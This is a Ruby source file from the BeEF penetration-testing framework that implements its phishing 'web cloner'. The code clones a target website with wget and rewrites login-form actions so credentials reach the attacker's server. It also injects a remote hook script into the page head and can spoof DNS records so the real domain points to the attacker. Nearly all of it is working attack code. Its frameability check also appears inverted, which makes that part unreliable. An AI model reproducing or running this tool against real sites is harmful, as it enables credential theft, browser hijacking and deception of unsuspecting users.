Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/social_engineering/web_cloner/web_cloner.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
module BeEF
7
module Extension
8
module SocialEngineering
9
class WebCloner
10
require 'socket'
11
include Singleton
12
13
def initialize
14
@http_server = BeEF::Core::Server.instance
15
@config = BeEF::Core::Configuration.instance
16
@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
17
@beef_hook = @config.hook_url.to_s
18
end
19
20
def clone_page(url, mount, use_existing, dns_spoof)
21
print_info "Cloning page at URL #{url}"
22
uri = URI(url)
23
output = uri.host
24
output_mod = "#{output}_mod"
25
user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')
26
27
success = false
28
29
# Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,
30
# there is no need to implement the complex logic to handle all different cases.
31
# We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.
32
# So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:
33
# 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file
34
# - the user modify the example.com_mod file manually
35
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
36
#
37
if use_existing.nil? || use_existing == false
38
begin
39
cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
40
cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
41
print_debug "Running command: #{cmd.join(' ')}"
42
IO.popen(cmd, 'r+') do |wget_io|
43
end
44
success = true
45
rescue Errno::ENOENT
46
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
47
rescue StandardError => e
48
print_error "Errors executing wget: #{e}"
49
end
50
51
if success
52
File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
53
File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
54
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
55
if line.include?('<form ') || line.include?('<FORM ')
56
line_attrs = line.split(' ')
57
c = 0
58
cc = 0
59
# TODO: probably doable also with map!
60
# modify the form 'action' attribute
61
line_attrs.each do |attr|
62
if attr.include? 'action="'
63
print_info "Form action found: #{attr}"
64
break
65
end
66
c += 1
67
end
68
line_attrs[c] = "action=\"#{mount}\""
69
70
# TODO: to be tested, needed in case like yahoo
71
# delete the form 'onsubmit' attribute
72
# line_attrs.each do |attr|
73
# if attr.include? "onsubmit="
74
# print_info "Form onsubmit event found: #{attr}"
75
# break
76
# end
77
# cc += 1
78
# end
79
# line_attrs[cc] = ""
80
81
mod_form = line_attrs.join(' ')
82
print_info 'Form action value changed in order to be intercepted :-D'
83
out_file.print mod_form
84
# Add the BeEF hook
85
elsif (line.include?('</head>') || line.include?('</HEAD>')) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
86
out_file.print add_beef_hook(line)
87
print_info 'BeEF hook added :-D'
88
else
89
out_file.print line
90
end
91
end
92
end
93
end
94
end
95
96
if File.size((@cloned_pages_dir + output).to_s).zero?
97
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
98
return false
99
end
100
101
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
102
103
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
104
105
# Split the URL mounting only the path and ignoring the query string.
106
# If the user wants to clone http://example.local/login.jsp?example=123&test=456
107
# then the phishing link can be used anyway with all the proper parameters to look legit.
108
mount = mount.split('?').first if mount.include?('?')
109
mount = mount.split(';').first if mount.include?(';')
110
111
interceptor = BeEF::Extension::SocialEngineering::Interceptor
112
interceptor.set :redirect_to, url
113
interceptor.set :frameable, url_is_frameable?(url)
114
interceptor.set :beef_hook, @beef_hook
115
interceptor.set :cloned_page, get_page_content(file_path)
116
interceptor.set :db_entry, persist_page(url, mount)
117
118
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
119
if dns_spoof
120
dns = BeEF::Extension::Dns::Server.instance
121
ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
122
ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
123
ipv6.gsub!(/%\w*$/, '')
124
domain = url.gsub(%r{^http://}, '')
125
126
unless ipv4.nil?
127
dns.add_rule(
128
pattern: domain,
129
resource: Resolv::DNS::Resource::IN::A,
130
response: ipv4
131
)
132
end
133
134
unless ipv6.nil?
135
dns.add_rule(
136
pattern: domain,
137
resource: Resolv::DNS::Resource::IN::AAAA,
138
response: ipv6
139
)
140
end
141
142
print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
143
end
144
145
print_info "Mounting cloned page on URL [#{mount}]"
146
@http_server.mount(mount.to_s, interceptor.new)
147
@http_server.remap
148
149
true
150
end
151
152
private
153
154
# Replace </head> with <BeEF_hook></head>
155
def add_beef_hook(line)
156
# @todo why is this an inline replace? and why is the second branch empty?
157
if line.include?('</head>')
158
line.gsub!('</head>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
159
elsif line.gsub!('</HEAD>', "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
160
end
161
line
162
end
163
164
# Check if the URL X-Frame-Options header allows the page to be framed.
165
# @todo check for framebusting JS code
166
# @todo check CSP
167
def url_is_frameable?(url)
168
uri = URI(url)
169
http = Net::HTTP.new(uri.host, uri.port)
170
171
if uri.scheme == 'https'
172
http.use_ssl = true
173
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
174
end
175
176
request = Net::HTTP::Get.new(uri.request_uri)
177
response = http.request(request)
178
frame_opt = response['X-Frame-Options']
179
180
# @todo why is this using casecmp?
181
if !frame_opt.nil? && (frame_opt.casecmp('DENY') == 0 || frame_opt.casecmp('SAMEORIGIN') == 0)
182
print_info "URL can be framed: #{url}"
183
return true
184
end
185
186
print_info "URL cannot be framed: #{url}"
187
false
188
rescue StandardError => e
189
print_error "Unable to determine if URL can be framed: #{url}"
190
print_debug e
191
# print_debug e.backtrace
192
false
193
end
194
195
def get_page_content(file_path)
196
file = File.open(file_path, 'r')
197
cloned_page = file.read
198
file.close
199
cloned_page
200
end
201
202
def persist_page(uri, mount)
203
webcloner_db = BeEF::Core::Models::WebCloner.new(
204
uri: uri,
205
mount: mount
206
)
207
webcloner_db.save
208
webcloner_db
209
end
210
end
211
end
212
end
213
end
214
215